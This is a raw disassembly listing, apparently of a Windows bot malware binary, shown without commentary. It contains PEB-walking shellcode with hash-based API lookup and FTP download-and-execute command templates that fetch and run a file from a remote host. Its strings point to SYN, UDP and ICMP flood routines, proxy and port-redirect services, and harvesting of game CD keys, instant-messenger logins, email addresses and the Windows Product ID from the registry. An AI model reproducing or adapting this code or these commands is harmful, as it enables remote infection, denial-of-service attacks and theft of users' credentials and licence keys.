ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_444A7A: ; CODE XREF: sub_444A2A:loc_444A40j ; sub_444A2A:loc_444A7Aj jmp short loc_444A7A sub_444A2A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_444A80 proc near ; DATA XREF: sub_425020+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_444AD2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_444A9D: ; CODE XREF: sub_444A80+38j jecxz short loc_444ACD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_444AA8: ; CODE XREF: sub_444A80+32j lodsb test al, al jz short loc_444AB4 ror edx, 0Dh add edx, eax jmp short loc_444AA8 ; --------------------------------------------------------------------------- loc_444AB4: ; CODE XREF: sub_444A80+2Bj cmp edx, [esp+arg_0] jnz short loc_444A9D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_444ACD: ; CODE XREF: sub_444A80:loc_444A9Dj mov [esp+arg_0], ebx retn sub_444A80 endp ; =============== S U B R O U T I N E ======================================= sub_444AD2 proc near ; CODE XREF: sub_444A80+7p ; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_444AEB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_444AF6 ; --------------------------------------------------------------------------- loc_444AEB: ; CODE XREF: sub_444AD2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_444AF6: ; CODE XREF: sub_444AD2+14j pop edi xor esi, esi pusha push esi jmp short loc_444B0A sub_444AD2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444AFD proc near ; CODE XREF: sub_444AD2:loc_444B0Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_444AFD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444AD2 loc_444B0A: ; CODE XREF: sub_444AD2+29j call sub_444AFD ; END OF FUNCTION CHUNK FOR sub_444AD2 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_444BA4 dd 23h dword_444BA8 dd 60h dword_444BAC dd 62B0606h, 2050501h, 0A0hdword_444BB8 dd 0A1h dword_444BBC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do align 4 loc_444BC8: ; DATA XREF: sub_424840+100o jmp short near ptr dword_444BD0 ; --------------------------------------------------------------------------- align 10h dword_444BD0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425020+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- loc_444C78: ; DATA XREF: sub_4254E0+CCo jmp short loc_444C7C ; --------------------------------------------------------------------------- loc_444C7A: ; CODE XREF: ___:loc_444C7Cp jmp short loc_444C81 ; --------------------------------------------------------------------------- loc_444C7C: ; CODE XREF: ___:loc_444C78j call loc_444C7A loc_444C81: ; CODE XREF: ___:loc_444C7Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_444C86 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w db 80h, 73h, 0Eh byte_444C8B db 0FFh ; DATA XREF: sub_4254E0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_444C90: ; DATA XREF: sub_4254E0+A7o jmp short loc_444C94 ; --------------------------------------------------------------------------- loc_444C92: ; CODE XREF: ___:loc_444C94p jmp short loc_444C99 ; --------------------------------------------------------------------------- loc_444C94: ; CODE XREF: ___:loc_444C90j call loc_444C92 loc_444C99: ; CODE XREF: ___:loc_444C92j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_444C9D db 0FFh ; DATA XREF: sub_4254E0+AEw dw 7380h db 0Ch byte_444CA1 db 0FFh ; DATA XREF: sub_4254E0+B4w dw 0E243h dd 0F9h dword_444CA8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_425270+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_444D0C dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_444D1C dd 74656720h byte_444D20 db 20h ; DATA XREF: sub_425270+A2r dword_444D21 dd 0E8006A00h dword_444D25 dd 17h ; sub_425270+D2r dword_444D29 dd 0E8C30175h dword_444D2D dd 1 ; sub_425270+E7r byte_444D31 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o dd 7E8h db 0, 0Fh, 84h dword_444D3B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_426450+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4266A0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o align 8 aUdp db 'udp',0 ; DATA XREF: sub_427590+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o align 10h aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o align 10h off_444F40 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 10h dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4282C0+D12o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o ; sub_4282C0+B97o dd 0 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o ; sub_4282C0+B79o align 4 dd 0 aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o dd 0 aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o align 8 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o align 10h aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do dd 0 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 8 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo ; sub_4282C0+9F0o align 8 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o align 10h asc_445230 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co ; sub_4282C0+52Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o dd 0 aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo align 8 off_445258 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o align 10h aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o ; sub_42A090+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o align 8 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co align 10h dd 2 dup(0) dword_445338 dd 1000005h, 0 dword_445340 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42B880+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42B880+3Fo align 4 dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042C435o align 10h aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:00445408o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 8 aCalloc db 'calloc',0 align 10h aSetsockopt db 'setsockopt',0 align 10h aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o ; sub_42C810:loc_42C8CDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o align 4 dd 0 aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do dd 0 aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o align 10h dd 0 dword_4454E4 dd 524F5453h byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+EDr align 4 dword_4454EC dd 52544552h byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+D3r align 4 dword_4454F4 dd 5453494Ch byte_4454F8 db 0 ; DATA XREF: sub_42D2C0+B8r align 4 dword_4454FC dd 54534C4Eh byte_445500 db 0 ; DATA XREF: sub_42D2C0+9Er align 4 dword_445504 dd 45505954h, 632520h, 0 ; ___:0042E6CAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42D2C0+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h aListen db 'listen',0 align 4 aBind db 'bind',0 align 10h aGetsockname db 'getsockname',0 align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo dd 0 aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo align 4 off_4456BC dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do ; "InterlockedCompareExchange" aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o align 4 dd 0 word_4456FC dw 77h ; DATA XREF: sub_42E400+1Fr align 10h dword_445700 dd 25206425h, 64hdword_445708 dd 455A4953h, 732520h, 0dword_445714 dd 4D54444Dh, 732520h, 0dword_445720 dd 4F544E52h, 732520h, 0dword_44572C dd 52464E52h, 732520h, 0dword_445738 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o align 4 dword_44574C dd 1 ; sub_430460+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o ; ___:off_4456BCo align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o align 10h aA_0: ; DATA XREF: sub_433A20+36o unicode 0, <€>,0 dd 13h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 4468A4h, 446F70h, 446870h, 80000002h, 446810h dd 446F70h, 4467E0h, 80000002h, 446788h, 446F70h, 446764h dd 80000002h, 44671Ch, 446F70h, 446704h, 80000002h, 4466C0h dd 446F70h, 446698h, 80000002h, 44665Ch, 446F70h, 446628h dd 80000002h, 4465C8h, 446F70h, 44659Ch, 80000002h, 446578h dd 446570h, 446544h, 80000002h, 44651Ch, 446570h, 446504h dd 80000001h, 4464D4h, 4464D0h, 4464C0h, 80000002h, 446484h dd 446F70h, 446474h, 80000002h, 446438h, 446F70h, 446424h dd 80000002h, 4463DCh, 446F70h, 4463C0h, 80000002h, 44637Ch dd 446F70h, 446360h, 80000001h, 446338h, 4464D0h, 446328h dd 80000001h, 446300h, 4464D0h, 4462E0h, 80000002h, 4462A4h dd 4462A0h, 446284h, 80000002h, 446260h, 446258h, 446240h dd 80000001h, 446214h, 44620Ch, 4461E8h, 80000002h, 44619Ch dd 446F70h, 446174h, 80000002h, 446120h, 446F70h, 4460E8h dd 80000002h, 446084h, 446F70h, 446050h, 80000002h, 445FF0h dd 446F70h, 445FD4h, 80000002h, 445F8Ch, 446F70h, 445F70h dd 80000002h, 445F28h, 446F70h, 445F18h, 80000002h, 445EDCh dd 446F70h, 445ECCh, 80000002h, 445E90h, 446F70h, 445E68h dd 80000002h, 445E14h, 446F70h, 445DECh, 80000002h, 445D9Ch dd 446F70h, 445D80h, 80000002h, 445D58h, 4464D0h, 445D44h dd 80000002h, 445D0Ch, 446F70h, 445CDCh, 80000002h, 445C84h dd 446F70h, 445C68h, 80000001h, 445C18h, 445C10h, 445BF4h dd 80000002h, 445BB0h, 445BA4h, 445B8Ch, 80000001h, 445B5Ch dd 445B50h, 445B30h, 80000002h, 445AF4h, 445C10h, 445AD4h dd 80000002h, 445A98h, 445C10h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o align 4 dd 0 dword_44693C dd 3A6D6961h, 732520h, 0dword_446948 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:00434E82o db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_446A7C dd 3A6E736Dh, 732520h, 0dword_446A88 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00435447o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4356F0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo align 4 loc_446BB4: ; DATA XREF: sub_4356F0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_446BBF: ; DATA XREF: sub_4356F0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_446BCB: ; DATA XREF: sub_4356F0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_446BD7: ; DATA XREF: ___:00435EB6o ; ___:00436110o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_446BE8: ; CODE XREF: ___:00446BEDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_446BE8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043633Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_446CE0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o ; ___:0043E354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Bh dup(0) byte_446F70 db 0 ; DATA XREF: sub_4034E0+95o ; sub_404640+200o ... align 4 dword_446F74 dd 0 ; sub_4245F0+11o ... dword_446F78 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ... align 10h dword_446F80 dd 0 ; ___:0040D345w ... dd 8 dup(0) dword_446FA4 dd 41h dup(0) ; ___:0040D380o ... dword_4470A8 dd 0 ; ___:loc_40D3D4r ... dword_4470AC dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ... dword_4470B0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw dword_4470B4 dd 0 ; sub_40D580+E3r dd 11h dup(0) dword_4470FC dd 0 ; sub_40FF60+47Dr dword_447100 dd 0 ; sub_40FF60+515r ... dword_447104 dd 0 ; sub_40FF60+655r ... dword_447108 dd 0 ; sub_40FF60+B79r ... dword_44710C dd 0 ; sub_40FF60+74Br dword_447110 dd 0 ; sub_40FF60+828r dword_447114 dd 0 ; sub_40FF60+77Cr dword_447118 dd 0 ; sub_40FF60+4DDr ... dword_44711C dd 0 ; sub_40FF60+311r dword_447120 dd 0 ; sub_40FF60+34Dr ... dword_447124 dd 0 ; sub_40FF60+33Dr dword_447128 dd 0 ; sub_40FF60+3D2r dword_44712C dd 0 ; sub_40FF60+E93r dword_447130 dd 0 ; sub_40FF60+1220r ... dword_447134 dd 0 ; sub_411FE0+4DAr dword_447138 dd 0 ; sub_40FF60+683r dword_44713C dd 0 